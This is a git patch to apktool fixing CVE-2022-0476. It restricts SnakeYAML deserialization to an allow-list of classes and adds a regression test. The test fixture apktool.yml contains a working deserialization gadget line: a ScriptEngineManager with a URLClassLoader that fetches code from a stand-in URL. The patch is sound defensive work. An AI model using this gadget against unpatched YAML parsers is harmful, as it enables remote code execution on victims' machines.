From 4065717b450f557f385495c6cd80bd0da10dba10 Mon Sep 17 00:00:00 2001 From: Connor Tumbleson Date: Sat, 19 Feb 2022 09:12:04 -0500 Subject: [PATCH] Preventing instantiation of untrusted classes. (#2760 - CVE-2022-0476) * fix: enforce allowable classes during yaml parsing * fix: rename class to reference escaping nature of strings * test: assertion for parsing malicious yaml --- ...tructor.java => ClassSafeConstructor.java} | 29 ++++++++++- ...ent.java => EscapedStringRepresenter.java} | 4 +- .../java/brut/androlib/meta/MetaInfo.java | 4 +- .../brut/androlib/yaml/MaliciousYamlTest.java | 50 +++++++++++++++++++ .../yaml/cve20220476/AndroidManifest.xml | 4 ++ .../resources/yaml/cve20220476/apktool.yml | 23 +++++++++ 6 files changed, 108 insertions(+), 6 deletions(-) rename brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/{StringExConstructor.java => ClassSafeConstructor.java} (54%) rename brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/{StringExRepresent.java => EscapedStringRepresenter.java} (92%) create mode 100644 brut.apktool/apktool-lib/src/test/java/brut/androlib/yaml/MaliciousYamlTest.java create mode 100644 brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/AndroidManifest.xml create mode 100644 brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/apktool.yml diff --git a/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/StringExConstructor.java b/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/ClassSafeConstructor.java similarity index 54% rename from brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/StringExConstructor.java rename to brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/ClassSafeConstructor.java index bad8a2274a..4321e55d86 100644 --- a/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/StringExConstructor.java +++ b/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/ClassSafeConstructor.java @@ -18,13 +18,38 @@ import org.yaml.snakeyaml.constructor.AbstractConstruct; import org.yaml.snakeyaml.constructor.Constructor; +import org.yaml.snakeyaml.error.YAMLException; import org.yaml.snakeyaml.nodes.Node; import org.yaml.snakeyaml.nodes.ScalarNode; import org.yaml.snakeyaml.nodes.Tag; +import java.util.ArrayList; +import java.util.List; -public class StringExConstructor extends Constructor { - public StringExConstructor() { +public class ClassSafeConstructor extends Constructor { + protected final List> allowableClasses = new ArrayList<>(); + + public ClassSafeConstructor() { this.yamlConstructors.put(Tag.STR, new ConstructStringEx()); + + this.allowableClasses.add(MetaInfo.class); + this.allowableClasses.add(PackageInfo.class); + this.allowableClasses.add(UsesFramework.class); + this.allowableClasses.add(VersionInfo.class); + } + + protected Object newInstance(Node node) { + if (this.yamlConstructors.containsKey(node.getTag()) || this.allowableClasses.contains(node.getType())) { + return super.newInstance(node); + } + throw new YAMLException("Invalid Class attempting to be constructed: " + node.getTag()); + } + + protected Object finalizeConstruction(Node node, Object data) { + if (this.yamlConstructors.containsKey(node.getTag()) || this.allowableClasses.contains(node.getType())) { + return super.finalizeConstruction(node, data); + } + + return this.newInstance(node); } private class ConstructStringEx extends AbstractConstruct { diff --git a/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/StringExRepresent.java b/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/EscapedStringRepresenter.java similarity index 92% rename from brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/StringExRepresent.java rename to brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/EscapedStringRepresenter.java index 44d6e25ee6..0de2953bc9 100644 --- a/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/StringExRepresent.java +++ b/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/EscapedStringRepresenter.java @@ -19,8 +19,8 @@ import org.yaml.snakeyaml.nodes.Node; import org.yaml.snakeyaml.representer.Representer; -public class StringExRepresent extends Representer { - public StringExRepresent() { +public class EscapedStringRepresenter extends Representer { + public EscapedStringRepresenter() { RepresentStringEx representStringEx = new RepresentStringEx(); multiRepresenters.put(String.class, representStringEx); representers.put(String.class, representStringEx); diff --git a/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/MetaInfo.java b/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/MetaInfo.java index aa306746f2..65f35a36ef 100644 --- a/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/MetaInfo.java +++ b/brut.apktool/apktool-lib/src/main/java/brut/androlib/meta/MetaInfo.java @@ -43,11 +43,11 @@ private static Yaml getYaml() { DumperOptions options = new DumperOptions(); options.setDefaultFlowStyle(DumperOptions.FlowStyle.BLOCK); - StringExRepresent representer = new StringExRepresent(); + EscapedStringRepresenter representer = new EscapedStringRepresenter(); PropertyUtils propertyUtils = representer.getPropertyUtils(); propertyUtils.setSkipMissingProperties(true); - return new Yaml(new StringExConstructor(), representer, options); + return new Yaml(new ClassSafeConstructor(), representer, options); } public void save(Writer output) { diff --git a/brut.apktool/apktool-lib/src/test/java/brut/androlib/yaml/MaliciousYamlTest.java b/brut.apktool/apktool-lib/src/test/java/brut/androlib/yaml/MaliciousYamlTest.java new file mode 100644 index 0000000000..d403f2d1b7 --- /dev/null +++ b/brut.apktool/apktool-lib/src/test/java/brut/androlib/yaml/MaliciousYamlTest.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2010 Ryszard Wiśniewski + * Copyright (C) 2010 Connor Tumbleson + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * https://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package brut.androlib.yaml; + +import brut.androlib.Androlib; +import brut.androlib.BaseTest; +import brut.androlib.TestUtils; +import brut.androlib.options.BuildOptions; +import brut.common.BrutException; +import brut.directory.ExtFile; +import brut.util.OS; +import org.junit.BeforeClass; +import org.junit.Test; +import org.yaml.snakeyaml.constructor.ConstructorException; + +import java.io.File; + +public class MaliciousYamlTest extends BaseTest { + + @BeforeClass + public static void beforeClass() throws Exception { + TestUtils.cleanFrameworkFile(); + + sTmpDir = new ExtFile(OS.createTempDirectory()); + sTestNewDir = new ExtFile(sTmpDir, "cve20220476"); + LOGGER.info("Unpacking cve20220476..."); + TestUtils.copyResourceDir(MaliciousYamlTest.class, "yaml/cve20220476/", sTestNewDir); + } + + @Test(expected = ConstructorException.class) + public void testMaliciousYamlNotLoaded() throws BrutException { + BuildOptions buildOptions = new BuildOptions(); + File testApk = new File(sTmpDir, "cve20220476.apk"); + new Androlib(buildOptions).build(sTestNewDir, testApk); + } +} diff --git a/brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/AndroidManifest.xml b/brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/AndroidManifest.xml new file mode 100644 index 0000000000..11a1a7a8f7 --- /dev/null +++ b/brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/AndroidManifest.xml @@ -0,0 +1,4 @@ + + + + diff --git a/brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/apktool.yml b/brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/apktool.yml new file mode 100644 index 0000000000..2006ae81db --- /dev/null +++ b/brut.apktool/apktool-lib/src/test/resources/yaml/cve20220476/apktool.yml @@ -0,0 +1,23 @@ +!!brut.androlib.meta.MetaInfo +apkFileName: cve20220476.apk +compressionType: false +some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://127.0.0.1:8000"]]]] +doNotCompress: +- resources.arsc +isFrameworkApk: false +packageInfo: + forcedPackageId: '127' + renameManifestPackage: null +sdkInfo: + minSdkVersion: '25' + targetSdkVersion: '30' +sharedLibrary: false +sparseResources: false +usesFramework: + ids: + - 1 + tag: null +version: 2.6.1-ddc4bb-SNAPSHOT +versionInfo: + versionCode: null + versionName: null